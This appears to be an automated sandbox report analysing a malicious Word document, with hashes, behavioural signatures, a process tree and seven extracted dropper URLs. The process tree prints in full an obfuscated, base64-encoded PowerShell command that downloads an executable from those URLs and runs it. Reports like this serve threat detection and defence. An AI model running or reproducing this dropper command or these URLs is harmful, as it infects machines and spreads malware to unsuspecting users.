Analysis

  • max time kernel
    101s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    22/08/2024, 12:32

General

  • Target

    b7a64d511a9cca3ce321f91af02cafe8_JaffaCakes118.doc

  • Size

    175KB

  • MD5

    b7a64d511a9cca3ce321f91af02cafe8

  • SHA1

    0825f7d591deeec9985ea2723977ade827425f57

  • SHA256

    e3dc51bc9f8c677f14405f021c1a9ff9a3e99868fc68cc55320fd4234789fc83

  • SHA512

    11db5cca714f49abe385c354beacab96adea4328c95ebb00ee3fd5696d7835a76f127c60e764b9dc7bbd1f1fde522a6f7335689ec148219cdc9e95dee98729cd

  • SSDEEP

    3072:UUqJ1NgsA8k/gvh0NZ0lGX1nZ7hT7Q8eK8:UBtgVIveNZvnv88x8

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://babyshop.webdungsan.com/wp-admin/n/

exe.dropper

http://nguyenlieuphachehanoi.com/wp-admin/kL/

exe.dropper

http://notesever.com/cgi-bin/Cfs/

exe.dropper

http://superbetprediction.com/js/Qo/

exe.dropper

http://pattanitkpark.com/gipe2h/iqt/

exe.dropper

http://www.xxdaytoy.top/wp-content/E/

exe.dropper

http://huaibangchina.com/kic3kc/c/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b7a64d511a9cca3ce321f91af02cafe8_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2536
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1660
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD JABHAHQAZgB0AGEAYQBwAD0AKAAoACcATgB2AHUAJwArACcAZwBfAG0AJwApACsAJwBxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAcgBwAHIATwBmAEkATABFAFwAYgBtAHcARQBUAFcANABcAGEANgBBAGUAeQBCAFEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQBgAFIAaQBgAFQAWQBQAFIAbwBgAFQATwBjAE8ATAAiACAAPQAgACgAJwB0ACcAKwAoACcAbABzACcAKwAnADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAbAAnACkAKwAnAHMAJwArACcAMQAxACcAKwAoACcALAAgAHQAJwArACcAbABzACcAKQApADsAJABFAGkAMwAzADMAcgBmACAAPQAgACgAKAAnAEgAdABjACcAKwAnAGkAJwApACsAKAAnAGYAcgB3ACcAKwAnAHEAYgAnACkAKQA7ACQAQwA3ADAAaABnAGYAMwA9ACgAKAAnAE4AJwArACcAaQBsAHcAagAnACkAKwAnAGIAOAAnACkAOwAkAEIANgBjAGUAMgAwAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAagBRACcAKwAoACcAbwBCAG0AdwBlAHQAdwA0ACcAKwAnAGoAUQBvACcAKwAnAEEANgBhAGUAJwApACsAJwB5ACcAKwAoACcAYgBxAGoAUQAnACsAJwBvACcAKQApACAAIAAtAHIARQBQAGwAQQBDAEUAIAAoAFsAYwBIAEEAcgBdADEAMAA2ACsAWwBjAEgAQQByAF0AOAAxACsAWwBjAEgAQQByAF0AMQAxADEAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABFAGkAMwAzADMAcgBmACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABRADkAYgB4AHgAeQBwAD0AKAAnAFYAZQAnACsAKAAnAF8AJwArACcAaQBuADQAJwApACsAJwA5ACcAKQA7ACQASAA3AHkAaQBvAGMAZgA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgB3AEUAYgBjAGwASQBFAG4AdAA7ACQATAA1AHAAMgBvADMAZQA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKwAnAGIAYQAnACkAKwAoACcAYgB5AHMAaABvAHAAJwArACcALgAnACkAKwAnAHcAJwArACcAZQBiACcAKwAoACcAZAB1ACcAKwAnAG4AJwApACsAKAAnAGcAJwArACcAcwBhACcAKQArACgAJwBuAC4AYwAnACsAJwBvAG0ALwB3ACcAKQArACcAcAAnACsAJwAtACcAKwAoACcAYQBkAG0AJwArACcAaQAnACsAJwBuAC8AbgAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoALwAvACcAKwAnAG4AZwB1ACcAKwAnAHkAZQAnACsAJwBuACcAKQArACcAbAAnACsAKAAnAGkAZQB1AHAAJwArACcAaAAnACkAKwAoACcAYQAnACsAJwBjAGgAZQBoAGEAbgBvACcAKwAnAGkAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAvACcAKwAnAHcAJwArACgAJwBwACcAKwAnAC0AJwArACcAYQBkAG0AaQBuAC8AawAnACsAJwBMAC8AJwApACsAJwAqACcAKwAoACcAaAB0AHQAcAA6AC8ALwBuACcAKwAnAG8AdABlACcAKwAnAHMAZQAnACkAKwAoACcAdgBlAHIALgBjACcAKwAnAG8AJwApACsAKAAnAG0AJwArACcALwBjACcAKQArACgAJwBnAGkALQAnACsAJwBiACcAKQArACcAaQAnACsAKAAnAG4AJwArACcALwBDACcAKQArACgAJwBmAHMAJwArACcALwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwADoALwAvACcAKQArACcAcwAnACsAJwB1AHAAJwArACgAJwBlAHIAYgAnACsAJwBlAHQAJwApACsAKAAnAHAAcgBlACcAKwAnAGQAJwApACsAKAAnAGkAYwAnACsAJwB0AGkAJwApACsAKAAnAG8AbgAnACsAJwAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAvACcAKwAnAGoAcwAnACsAJwAvAFEAbwAvACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AcAAnACkAKwAoACcAYQB0ACcAKwAnAHQAJwApACsAKAAnAGEAJwArACcAbgBpAHQAJwApACsAKAAnAGsAJwArACcAcABhAHIAawAnACsAJwAuACcAKQArACcAYwBvACcAKwAoACcAbQAvACcAKwAnAGcAaQBwAGUAJwApACsAKAAnADIAaAAnACsAJwAvACcAKQArACgAJwBpACcAKwAnAHEAdAAnACkAKwAnAC8AKgAnACsAKAAnAGgAdAB0AHAAOgAvAC8AdwB3AHcAJwArACcALgB4ACcAKwAnAHgAJwApACsAKAAnAGQAYQAnACsAJwB5AHQAbwAnACkAKwAoACcAeQAuAHQAJwArACcAbwBwAC8AJwApACsAJwB3ACcAKwAnAHAAJwArACgAJwAtAGMAbwAnACsAJwBuAHQAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAC8ARQAnACsAJwAvACcAKQArACcAKgAnACsAJwBoACcAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGgAdQBhACcAKwAnAGkAYgAnACkAKwAnAGEAJwArACcAbgBnACcAKwAoACcAYwBoAGkAJwArACcAbgAnACkAKwAoACcAYQAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAvAGsAJwArACcAaQBjACcAKQArACgAJwAzAGsAYwAvACcAKwAnAGMALwAnACkAKQAuACIAUwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOAHYAOAB0AHQAbABwAD0AKAAoACcASwAyACcAKwAnADYAaQAnACkAKwAoACcAdAB6ACcAKwAnAGsAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAHAANABmAHUAMwB3ACAAaQBuACAAJABMADUAcAAyAG8AMwBlACkAewB0AHIAeQB7ACQASAA3AHkAaQBvAGMAZgAuACIARABgAG8AYAB3AE4ATABvAGEARABmAGkAYABMAGUAIgAoACQASQBwADQAZgB1ADMAdwAsACAAJABCADYAYwBlADIAMABtACkAOwAkAEkAYQA2AHoAbwBvADQAPQAoACcATQAnACsAJwA1ACcAKwAoACcAbgBiACcAKwAnAGcAdQA4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAEIANgBjAGUAMgAwAG0AKQAuACIAbABgAEUATgBgAEcAVABoACIAIAAtAGcAZQAgADMANAAzADAANwApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABCADYAYwBlADIAMABtACkAOwAkAFAAZAB5AGYAbgB3AG0APQAoACgAJwBRAGoAOAAnACsAJwA1AGgAdwAnACkAKwAnAGYAJwApADsAYgByAGUAYQBrADsAJABZADgAbQA5AGoAbQBlAD0AKAAnAE0AJwArACgAJwBiAHoAOQBuACcAKwAnAGoANgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAA4ADAAdwB3ADcAOQA9ACgAKAAnAE4AZwAnACsAJwAzACcAKQArACcAZgAnACsAKAAnADcAJwArACcAdwBrACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2936

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            19KB

            MD5

            b22d9355848fcf6c393f35d0b8b65581

            SHA1

            7e9f822aaac91a5fa0b085ade0a3e5b9535b2721

            SHA256

            54e20b68784069337e9150dde310e09c64557c33461e25474649562c1c88deb6

            SHA512

            0ddfa2d062361b37afcadf7320a6e75d48481c910f46ec21016ab877645499ceeaa99bc450c77eba9ea5212dbdf51c997828f1ddf957657450277032b235eb7f

          • memory/2536-44-0x0000000005CA0000-0x0000000005DA0000-memory.dmp

            Filesize

            1024KB

          • memory/2536-60-0x0000000005CA0000-0x0000000005DA0000-memory.dmp

            Filesize

            1024KB

          • memory/2536-26-0x0000000006150000-0x0000000006250000-memory.dmp

            Filesize

            1024KB

          • memory/2536-7-0x0000000000430000-0x0000000000530000-memory.dmp

            Filesize

            1024KB

          • memory/2536-6-0x0000000000430000-0x0000000000530000-memory.dmp

            Filesize

            1024KB

          • memory/2536-5-0x0000000000430000-0x0000000000530000-memory.dmp

            Filesize

            1024KB

          • memory/2536-29-0x0000000005CA0000-0x0000000005DA0000-memory.dmp

            Filesize

            1024KB

          • memory/2536-28-0x0000000005CA0000-0x0000000005DA0000-memory.dmp

            Filesize

            1024KB

          • memory/2536-27-0x0000000005CA0000-0x0000000005DA0000-memory.dmp

            Filesize

            1024KB

          • memory/2536-0-0x000000002FC41000-0x000000002FC42000-memory.dmp

            Filesize

            4KB

          • memory/2536-2-0x0000000070D3D000-0x0000000070D48000-memory.dmp

            Filesize

            44KB

          • memory/2536-78-0x0000000070D3D000-0x0000000070D48000-memory.dmp

            Filesize

            44KB

          • memory/2536-45-0x0000000005CA0000-0x0000000005DA0000-memory.dmp

            Filesize

            1024KB

          • memory/2536-57-0x0000000070D3D000-0x0000000070D48000-memory.dmp

            Filesize

            44KB

          • memory/2536-58-0x0000000000430000-0x0000000000530000-memory.dmp

            Filesize

            1024KB

          • memory/2536-59-0x0000000005CA0000-0x0000000005DA0000-memory.dmp

            Filesize

            1024KB

          • memory/2536-77-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2536-61-0x0000000005CA0000-0x0000000005DA0000-memory.dmp

            Filesize

            1024KB

          • memory/2536-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2936-52-0x0000000002810000-0x0000000002818000-memory.dmp

            Filesize

            32KB

          • memory/2936-51-0x000000001B510000-0x000000001B7F2000-memory.dmp

            Filesize

            2.9MB